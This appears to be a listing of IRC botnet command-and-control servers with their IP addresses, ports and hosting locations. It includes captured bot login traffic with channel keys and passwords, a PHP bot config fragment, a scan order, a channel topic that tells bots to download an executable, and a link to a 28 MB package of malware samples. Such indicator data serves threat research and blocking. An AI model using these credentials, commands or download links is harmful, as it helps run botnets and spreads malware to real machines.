Remote Host Port Number 205.234.231.54 2345 PASS xxx 63.135.80.224 80 63.135.80.46 80 96.17.164.187 80 MODE NEW-[USA|00|P|39876] -ix JOIN #!gf! test PONG 22 MOTD NICK NEW-[USA|00|P|39876] USER XP-0115 * 0 :COMPUTERNAME infos about hosting: http://whois.domaintools.com/205.234.231.54
67.218.118.62(irc botnet hosted in United States Santa Clara Layer42.net Inc)
Remote Host Port Number 67.218.118.62 6667 NICK UserName72 USER UserName72 “hotmail.com” “192.168.207.128” :UserName JOIN #help MODE UserName72 +i MODE #Help +nts MODE #Help +k spybot infos about hosting: http://whois.domaintools.com/67.218.118.62
65.39.199.219(irc botnet hosted in Canada Richmond Hill Applications On Networks)
Remote Host Port Number 65.39.199.219 6666 PONG D526B250 JOIN #0# PRIVMSG #0# : [RAGE SCAN:] range: 200.x.x.x/60 threads. infos about hosting: http://whois.domaintools.com/65.39.199.219
208.75.182.230(irc botnet hosted in United States Grand Prairie Colocateusa)
208.75.182.230 6667 NICK Owned-22765 USER uihamq 0 0 :Owned-22765 USERHOST Owned-22765 MODE Owned-22765 +x JOIN #firefly art PONG :IURJE_}h[O infos about hosting: http://whois.domaintools.com/208.75.182.230
92.241.165.156(irc botnet hosted in Russian Federation 2×4.ru Network)
Remote Host Port Number 204.0.5.41 80 216.178.38.224 80 63.135.80.46 80 69.171.224.13 80 92.241.165.156 1234 PASS xxx NICK NEW-[USA|00|P|64628] USER XP-8137 * 0 :COMPUTERNAME MODE NEW-[USA|00|P|64628] -ix JOIN #!nw! test PONG 22 MOTD infos about hosting: http://whois.domaintools.com/92.241.165.156
216.24.203.46(irc botnet hosted in United States Walnut Psychz Networks)
Remote Host Port Number 216.24.203.46 6667 PASS system-code.net NICK [2778|USA|XP|Z3R0x] USER 2778 “” “lol” :2778 PONG :DDCE16AF JOIN #Sgrulla-Botnet 26209 infos about hosting: http://whois.domaintools.com/216.24.203.46
28 mb executable samples
this package is around 28mb of diferent malwares have fun searching inside Download: http://8c75276e.goneviral.com
196.212.26.149(linux botnet hosted in South Africa Cape Town Afrinic)
var $config = array(“server”=>”196.212.26.149”, “port”=>6667, “pass”=>””, // “prefix”=>””, “maxrand”=>7, “chan”=>”#botovi”, “key”=>”123456”, // “modes”=>”-x+i”, “password”=>”botko”, // “trigger”=>”!say@”, “hostauth”=>”*” // * infos about hosting: http://whois.domaintools.com/196.212.26.149
72.55.132.187(irc botnet hosted in Canada Zenkis.ca)
Remote Host Port Number 213.251.170.52 80 72.55.132.187 2603 PASS ngrBot NICK n{US|XPa}pszjwcb USER pszjwcb 0 0 :pszjwcb JOIN #phcrulez ngrBot * Now talking in #phcrulez * Topic is ” * Set by Ko0l on Mon Apr 11 01:39:26 infos about hosting: http://whois.domaintools.com/72.55.132.187
125.22.97.146(irc botnet hosted in India Bangalore Madura Coats)
server: 125.22.97.146:6667 Current Local Users: 64 Max: 167 Current Global Users: 64 Max: 167 chanel: #sos# * Now talking in #sos# * Topic is ‘@download https://rs461l32.rapidshare.com/files/459011368/sos.exe 1, ‘ * Set by ^Crash^ on Mon Apr 25 17:41:45